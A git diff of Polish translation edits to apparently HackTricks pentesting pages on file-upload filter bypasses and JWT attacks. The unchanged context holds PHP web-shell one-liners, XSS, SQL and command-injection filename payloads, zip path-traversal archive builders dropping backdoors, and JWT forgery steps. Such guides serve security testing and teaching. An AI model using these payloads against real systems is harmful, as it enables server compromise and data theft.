{% endhint %}
|
||||
|
|
|
@ -10,14 +10,14 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co ni
|
|||
Inne przydatne rozszerzenia:
|
||||
|
||||
* **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._phps_, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
* **Działające w PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
* **Praca w PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
|
||||
* **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
* **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
* **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
|
@ -36,8 +36,8 @@ Inne przydatne rozszerzenia:
|
|||
|
||||
### Obejście kontroli rozszerzeń plików
|
||||
|
||||
1. Jeśli mają zastosowanie, **sprawdź** **poprzednie rozszerzenia.** Testuj je również używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Sprawdź **dodawanie ważnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
|
||||
1. Jeśli mają zastosowanie, **sprawdź** **poprzednie rozszerzenia.** Przetestuj je również używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Sprawdź **dodanie ważnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj również poprzednich rozszerzeń):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich **znaków ascii** i **Unicode**. (_Zauważ, że możesz również spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
|
||||
|
@ -50,7 +50,7 @@ Inne przydatne rozszerzenia:
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub **dodawanie śmieci** danych (**bajty** null) między rozszerzeniami. _Możesz również użyć **wcześniejszych rozszerzeń**, aby przygotować lepszy ładunek._
|
||||
4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera za pomocą technik takich jak **podwajanie** **rozszerzenia** lub **dodawanie śmieci** danych (**bajty** null) między rozszerzeniami. _Możesz również użyć **wcześniejszych rozszerzeń** do przygotowania lepszego ładunku._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -62,9 +62,9 @@ Inne przydatne rozszerzenia:
|
|||
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniego sprawdzenia:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php** będzie wykonywać kod):
|
||||
6. Spróbuj umieścić **rozszerzenie exec przed ważnym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędów konfiguracyjnych Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php** uruchomi kod):
|
||||
* _ex: file.php.png_
|
||||
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. “file.asax:.jpg”). Plik ten może być później edytowany za pomocą innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do obejścia dalszych ograniczeń (np. “file.asp::$data.”)
|
||||
7. Używanie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku, znak dwukropka “:” zostanie wstawiony po zabronionym rozszerzeniu i przed dozwolonym. W rezultacie, **pusty plik z zabronionym rozszerzeniem** zostanie utworzony na serwerze (np. “file.asax:.jpg”). Plik ten może być później edytowany przy użyciu innych technik, takich jak użycie jego krótkiej nazwy. Wzór “**::$data**” może być również użyty do tworzenia plików niepustych. Dlatego dodanie znaku kropki po tym wzorze może być również przydatne do obejścia dalszych ograniczeń (np. “file.asp::$data.”)
|
||||
8. Spróbuj złamać limity nazw plików. Ważne rozszerzenie zostaje obcięte. A złośliwy PHP zostaje. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
|
@ -78,7 +78,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
|||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Obejście kontroli Content-Type, Magic Number, Kompresji i Zmiany rozmiaru
|
||||
### Obejście kontroli Content-Type, Magic Number, kompresji i zmiany rozmiaru
|
||||
|
||||
* Obejście kontroli **Content-Type** poprzez ustawienie **wartości** nagłówka **Content-Type** na: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Lista słów kluczowych **Content-Type**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
|
@ -86,12 +86,12 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` lub możesz również **wprowadzić ładunek bezpośrednio** w obrazie:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
|
||||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
* Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
|
||||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
* Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), aby wstawić tekst, który **przetrwa kompresję**.
|
||||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
* Jeśli **kompresja jest dodawana do twojego obrazu**, na przykład przy użyciu niektórych standardowych bibliotek PHP, takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), wcześniejsze techniki nie będą przydatne. Możesz jednak użyć **techniki PLTE chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Strona internetowa może również **zmieniać rozmiar** **obrazu**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **techniki IDAT chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Inną techniką do stworzenia ładunku, który **przetrwa zmianę rozmiaru obrazu**, jest użycie funkcji PHP-GD `thumbnailImage`. Możesz jednak użyć **techniki tEXt chunk** [**zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) do wstawienia tekstu, który **przetrwa kompresję**.
|
||||
* [**Github z kodem**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Inne sztuczki do sprawdzenia
|
||||
|
||||
|
@ -100,16 +100,16 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
* **Możliwe ujawnienie informacji**:
|
||||
1. Prześlij **wielokrotnie** (i w **tym samym czasie**) **ten sam plik** o **tej samej nazwie**
|
||||
2. Prześlij plik o **nazwie** pliku lub **folderu**, który **już istnieje**
|
||||
3. Przesyłanie pliku o **nazwie** **“.”, “..”, lub “…”**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa pliku “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
|
||||
3. Przesyłanie pliku z **“.”, “..”, lub “…” jako jego nazwą**. Na przykład, w Apache w **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu “/www/uploads/”, nazwa “.” utworzy plik o nazwie “uploads” w katalogu “/www/”.
|
||||
4. Prześlij plik, który może być trudny do usunięcia, taki jak **“…:.jpg”** w **NTFS**. (Windows)
|
||||
5. Prześlij plik w **Windows** z **nieprawidłowymi znakami**, takimi jak `|<>*?”` w jego nazwie. (Windows)
|
||||
6. Prześlij plik w **Windows** używając **zarezerwowanych** (**zabronionych**) **nazw**, takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
|
||||
* Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod**, gdy zostanie przypadkowo otwarty przez ofiarę.
|
||||
* Spróbuj również **przesłać plik wykonywalny** (.exe) lub **.html** (mniej podejrzany), który **wykona kod** po przypadkowym otwarciu przez ofiarę.
|
||||
|
||||
### Sztuczki ze specjalnymi rozszerzeniami
|
||||
### Specjalne sztuczki z rozszerzeniami
|
||||
|
||||
Jeśli próbujesz przesłać pliki na **serwer PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Jeśli próbujesz przesłać pliki na **serwer ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Jeśli próbujesz przesłać pliki do **serwera PHP**, [zobacz sztuczkę **.htaccess** do wykonania kodu](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Jeśli próbujesz przesłać pliki do **serwera ASP**, [zobacz sztuczkę **.config** do wykonania kodu](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Pliki `.phar` są jak `.jar` dla javy, ale dla php, i mogą być **używane jak plik php** (wykonując je za pomocą php lub włączając je do skryptu...)
|
||||
|
||||
|
@ -117,7 +117,7 @@ Rozszerzenie `.inc` jest czasami używane dla plików php, które są używane t
|
|||
|
||||
## **Jetty RCE**
|
||||
|
||||
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki!
|
||||
Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazie, prześlij plik XML do `$JETTY_BASE/webapps/` i oczekuj powłoki!
|
||||
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
||||
|
||||
|
@ -125,7 +125,7 @@ Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE, ponie
|
|||
|
||||
Aby szczegółowo zbadać tę lukę, sprawdź oryginalne badania: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane na serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w celach niecnych, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
|
||||
Luki w zdalnym wykonywaniu poleceń (RCE) mogą być wykorzystywane w serwerach uWSGI, jeśli ma się możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI wykorzystują specyficzną składnię do włączania "magicznych" zmiennych, miejsc i operatorów. Szczególnie potężny jest operator '@', używany jako `@(filename)`, zaprojektowany do włączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny, pozwalając na odczyt danych z standardowego wyjścia procesu. Ta funkcja może być manipulowana w złych celach, takich jak zdalne wykonywanie poleceń lub dowolne zapisywanie/odczytywanie plików, gdy plik konfiguracyjny `.ini` jest przetwarzany.
|
||||
|
||||
Rozważ następujący przykład szkodliwego pliku `uwsgi.ini`, pokazującego różne schematy:
|
||||
```ini
|
||||
|
@ -186,11 +186,11 @@ Zauważ, że **inną opcją**, o której możesz myśleć, aby obejść tę kont
|
|||
* Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **przechodzenie ścieżki**
|
||||
* Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection**
|
||||
* Ustaw **filename** na `<svg onload=alert(document.domain)>`, aby osiągnąć XSS
|
||||
* Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzykiwania poleceń tutaj](../command-injection.md))
|
||||
* Ustaw **filename** na `; sleep 10;`, aby przetestować niektóre wstrzyknięcia poleceń (więcej [sztuczek wstrzyknięcia poleceń tutaj](../command-injection.md))
|
||||
* [**XSS** w przesyłaniu plików obrazów (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** plik **upload** + **XSS** = [**Wykorzystanie Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* **JS** plik **upload** + **XSS** = [**wykorzystanie Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Otwarte przekierowanie** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [**Open Redirect** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||
* [Słynna luka **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Jeśli możesz **wskazać serwer WWW, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje od każdego odwiedzającego**.
|
||||
|
@ -246,9 +246,9 @@ python2 evilarc.py -h
|
|||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
Dodatkowo, **sztuczka z symlinkiem z evilarc** jest opcją. Jeśli celem jest celowanie w plik taki jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojej pracy.
|
||||
Dodatkowo, **sztuczka z symlinkiem z evilarc** jest opcją. Jeśli celem jest celowanie w plik taki jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojej operacji.
|
||||
|
||||
Poniżej znajduje się przykład kodu Python używanego do stworzenia złośliwego pliku zip:
|
||||
Poniżej znajduje się przykład kodu Python używanego do tworzenia złośliwego pliku zip:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
|
@ -285,7 +285,7 @@ system($cmd);
|
|||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
3. **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../" w celu przechodzenia między katalogami.
|
||||
3. **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przejść do katalogów.
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
|
@ -304,7 +304,7 @@ pop graphic-context
|
|||
```
|
||||
## Osadzanie powłoki PHP w PNG
|
||||
|
||||
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania nietkniętą przez te operacje jest znaczną zaletą w niektórych przypadkach użycia.
|
||||
Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania nietkniętą przez te operacje stanowi znaczną zaletę w niektórych przypadkach użycia.
|
||||
|
||||
Szczegółowe omówienie tej techniki, w tym jej metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Kodowanie powłok webowych w kawałkach PNG IDAT"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). To źródło oferuje kompleksowe zrozumienie procesu i jego implikacji.
|
||||
|
||||
|
@ -320,7 +320,7 @@ Mimo swojej elastyczności, pliki poliglotowe napotykają ograniczenia. Na przyk
|
|||
|
||||
Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
## Źródła
|
||||
## Odniesienia
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
* [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||
|
@ -329,7 +329,7 @@ Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-fri
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -42,9 +42,9 @@ python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
|||
```
|
||||
Możesz również użyć [**Burp Extension SignSaboteur**](https://github.com/d0ge/sign-saboteur) do przeprowadzania ataków JWT z Burp.
|
||||
|
||||
### Modyfikacja danych bez zmiany czegokolwiek
|
||||
### Modyfikuj dane bez zmieniania czegokolwiek
|
||||
|
||||
Możesz po prostu zmodyfikować dane, pozostawiając podpis bez zmian, i sprawdzić, czy serwer weryfikuje podpis. Spróbuj zmienić swoją nazwę użytkownika na "admin", na przykład.
|
||||
Możesz po prostu zmodyfikować dane, pozostawiając podpis bez zmian i sprawdzić, czy serwer weryfikuje podpis. Spróbuj zmienić swoją nazwę użytkownika na "admin", na przykład.
|
||||
|
||||
#### **Czy token jest weryfikowany?**
|
||||
|
||||
|
@ -117,7 +117,7 @@ Opcjonalne roszczenie nagłówka znane jako `kid` jest wykorzystywane do identyf
|
|||
|
||||
#### Ujawnianie klucza przez "kid"
|
||||
|
||||
Gdy roszczenie `kid` jest obecne w nagłówku, zaleca się przeszukać katalog internetowy w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono `"kid":"key/12345"`, należy przeszukać pliki _/key/12345_ i _/key/12345.pem_ w katalogu głównym serwisu.
|
||||
Gdy roszczenie `kid` jest obecne w nagłówku, zaleca się przeszukać katalog internetowy w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono `"kid":"key/12345"`, należy przeszukać pliki _/key/12345_ i _/key/12345.pem_ w katalogu głównym serwera.
|
||||
|
||||
#### Przechodzenie po ścieżkach z "kid"
|
||||
|
||||
|
@ -167,7 +167,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być tym, który został użyty do podpisania tego JWT. Kolejne certyfikaty podpisują każdy poprzedni, tym samym kończąc łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Transportowe zabezpieczenia są wymagane do przesyłania certyfikatów.
|
||||
X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być tym, który został użyty do podpisania tego JWT. Kolejne certyfikaty podpisują każdy poprzedni, tym samym kończąc łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Bezpieczeństwo transportu jest wymagane do przesyłania certyfikatów.
|
||||
|
||||
Spróbuj **zmienić ten nagłówek na URL pod twoją kontrolą** i sprawdź, czy jakiekolwiek żądanie zostanie odebrane. W takim przypadku **możesz manipulować JWT**.
|
||||
|
||||
|
@ -176,7 +176,7 @@ Aby sfałszować nowy token przy użyciu certyfikatu kontrolowanego przez Ciebie
|
|||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
|
||||
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
|
||||
```
|
||||
Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io) do stworzenia nowego JWT z **utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametru x5u na certyfikat .crt utworzony.**
|
||||
Następnie możesz użyć na przykład [**jwt.io**](https://jwt.io) do stworzenia nowego JWT z **utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr x5u na certyfikat .crt utworzony.**
|
||||
|
||||
![](<../.gitbook/assets/image (956).png>)
|
||||
|
||||
|
@ -236,7 +236,7 @@ Here is a example: [ECDSA: Odkrywanie klucza prywatnego, jeśli użyto tego same
|
|||
### JTI (JWT ID)
|
||||
|
||||
Zgłoszenie JTI (JWT ID) zapewnia unikalny identyfikator dla tokena JWT. Może być używane do zapobiegania ponownemu odtwarzaniu tokena.\
|
||||
Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądania 0001 i 10001 będą używać tego samego ID. Jeśli backend zwiększa ID przy każdym żądaniu, można to wykorzystać do **ponownego odtwarzania żądania** (konieczność wysłania 10000 żądań między każdym udanym odtworzeniem).
|
||||
Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądania 0001 i 10001 będą używać tego samego ID. Jeśli backend zwiększa ID przy każdym żądaniu, można to wykorzystać do **ponownego odtworzenia żądania** (konieczność wysłania 10000 żądań między każdym udanym odtworzeniem).
|
||||
|
||||
### Zarejestrowane zgłoszenia JWT
|
||||
|
||||
|
@ -248,11 +248,11 @@ Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (00
|
|||
|
||||
Zaobserwowano, że niektóre aplikacje internetowe polegają na zaufanej usłudze JWT do generowania i zarządzania swoimi tokenami. Zarejestrowano przypadki, w których token wygenerowany dla jednego klienta przez usługę JWT był akceptowany przez innego klienta tej samej usługi JWT. Jeśli zaobserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi zewnętrznej, należy zbadać możliwość rejestracji konta na innym kliencie tej usługi przy użyciu tej samej nazwy użytkownika/adresu e-mail. Następnie należy spróbować ponownie odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy jest akceptowany.
|
||||
|
||||
* Krytyczny problem może być wskazywany przez akceptację twojego tokena, co potencjalnie umożliwia podszywanie się pod konto dowolnego użytkownika. Należy jednak zauważyć, że może być wymagana zgoda na szersze testowanie, jeśli rejestracja w aplikacji zewnętrznej jest przeprowadzana, ponieważ może to wprowadzać w obszar szarości prawnej.
|
||||
